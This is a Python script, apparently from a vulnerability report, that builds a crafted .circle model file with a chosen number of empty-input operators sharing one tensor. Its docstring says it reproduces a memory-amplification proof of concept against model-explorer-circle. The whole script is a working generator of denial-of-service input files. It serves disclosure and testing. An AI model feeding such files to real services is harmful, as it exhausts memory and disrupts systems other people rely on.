| |
| """Generates a structurally parseable .circle model containing N operators, |
| each with an explicit empty inputs vector and a single output referencing a |
| shared placeholder tensor. Used to reproduce the memory-amplification PoC. |
| |
| Requirements: pip install flatbuffers |
| The circle_schema_generated module is vendored from model-explorer-circle's |
| own package (model_explorer_circle/circle_schema_generated.py) -- point |
| CIRCLE_SCHEMA_MODULE_DIR at a checkout containing that file, or install |
| model-explorer-circle and import from there directly. |
| |
| Usage: |
| python generate_poc.py <N> <output_path.circle> |
| |
| Example: |
| python generate_poc.py 200000 poc_amplification_test.circle |
| """ |
| import sys |
|
|
| try: |
| from model_explorer_circle import circle_schema_generated as circle_schema |
| except ImportError: |
| sys.exit( |
| "model_explorer_circle not importable. Install it with:\n" |
| " pip install model-explorer-circle==0.1.4\n" |
| "or add the vendored circle_schema_generated.py to your path." |
| ) |
|
|
| import flatbuffers |
|
|
|
|
| def build(n: int) -> bytes: |
| b = flatbuffers.Builder(max(1024 * 1024, n * 32)) |
|
|
| |
| name_off = b.CreateString("t") |
| circle_schema.TensorStartShapeVector(b, 0) |
| shape_v = b.EndVector() |
| circle_schema.TensorStart(b) |
| circle_schema.TensorAddShape(b, shape_v) |
| circle_schema.TensorAddType(b, 0) |
| circle_schema.TensorAddName(b, name_off) |
| tensor_off = circle_schema.TensorEnd(b) |
|
|
| circle_schema.SubGraphStartTensorsVector(b, 1) |
| b.PrependUOffsetTRelative(tensor_off) |
| tensors_v = b.EndVector() |
|
|
| op_offsets = [] |
| for _ in range(n): |
| circle_schema.OperatorStartInputsVector(b, 0) |
| inputs_v = b.EndVector() |
| circle_schema.OperatorStartOutputsVector(b, 1) |
| b.PrependInt32(0) |
| outputs_v = b.EndVector() |
| circle_schema.OperatorStart(b) |
| circle_schema.OperatorAddOpcodeIndex(b, 0) |
| circle_schema.OperatorAddInputs(b, inputs_v) |
| circle_schema.OperatorAddOutputs(b, outputs_v) |
| op_offsets.append(circle_schema.OperatorEnd(b)) |
|
|
| circle_schema.SubGraphStartOperatorsVector(b, n) |
| for off in reversed(op_offsets): |
| b.PrependUOffsetTRelative(off) |
| operators_v = b.EndVector() |
|
|
| circle_schema.SubGraphStartInputsVector(b, 0) |
| sg_inputs_v = b.EndVector() |
| circle_schema.SubGraphStartOutputsVector(b, 0) |
| sg_outputs_v = b.EndVector() |
|
|
| circle_schema.SubGraphStart(b) |
| circle_schema.SubGraphAddOperators(b, operators_v) |
| circle_schema.SubGraphAddTensors(b, tensors_v) |
| circle_schema.SubGraphAddInputs(b, sg_inputs_v) |
| circle_schema.SubGraphAddOutputs(b, sg_outputs_v) |
| sg = circle_schema.SubGraphEnd(b) |
|
|
| circle_schema.ModelStartSubgraphsVector(b, 1) |
| b.PrependUOffsetTRelative(sg) |
| subgraphs_v = b.EndVector() |
|
|
| circle_schema.OperatorCodeStart(b) |
| circle_schema.OperatorCodeAddDeprecatedBuiltinCode(b, 0) |
| opcode = circle_schema.OperatorCodeEnd(b) |
| circle_schema.ModelStartOperatorCodesVector(b, 1) |
| b.PrependUOffsetTRelative(opcode) |
| opcodes_v = b.EndVector() |
|
|
| circle_schema.ModelStartBuffersVector(b, 0) |
| buffers_v = b.EndVector() |
|
|
| circle_schema.ModelStart(b) |
| circle_schema.ModelAddVersion(b, 3) |
| circle_schema.ModelAddOperatorCodes(b, opcodes_v) |
| circle_schema.ModelAddSubgraphs(b, subgraphs_v) |
| circle_schema.ModelAddBuffers(b, buffers_v) |
| m = circle_schema.ModelEnd(b) |
| b.Finish(m, file_identifier=b"CIR0") |
| return bytes(b.Output()) |
|
|
|
|
| if __name__ == "__main__": |
| if len(sys.argv) != 3: |
| sys.exit(__doc__) |
| n = int(sys.argv[1]) |
| out_path = sys.argv[2] |
| buf = build(n) |
| with open(out_path, "wb") as f: |
| f.write(buf) |
| print(f"N={n} operators, file size = {len(buf)} bytes ({len(buf) / 1024:.1f} KB) -> {out_path}") |
|
|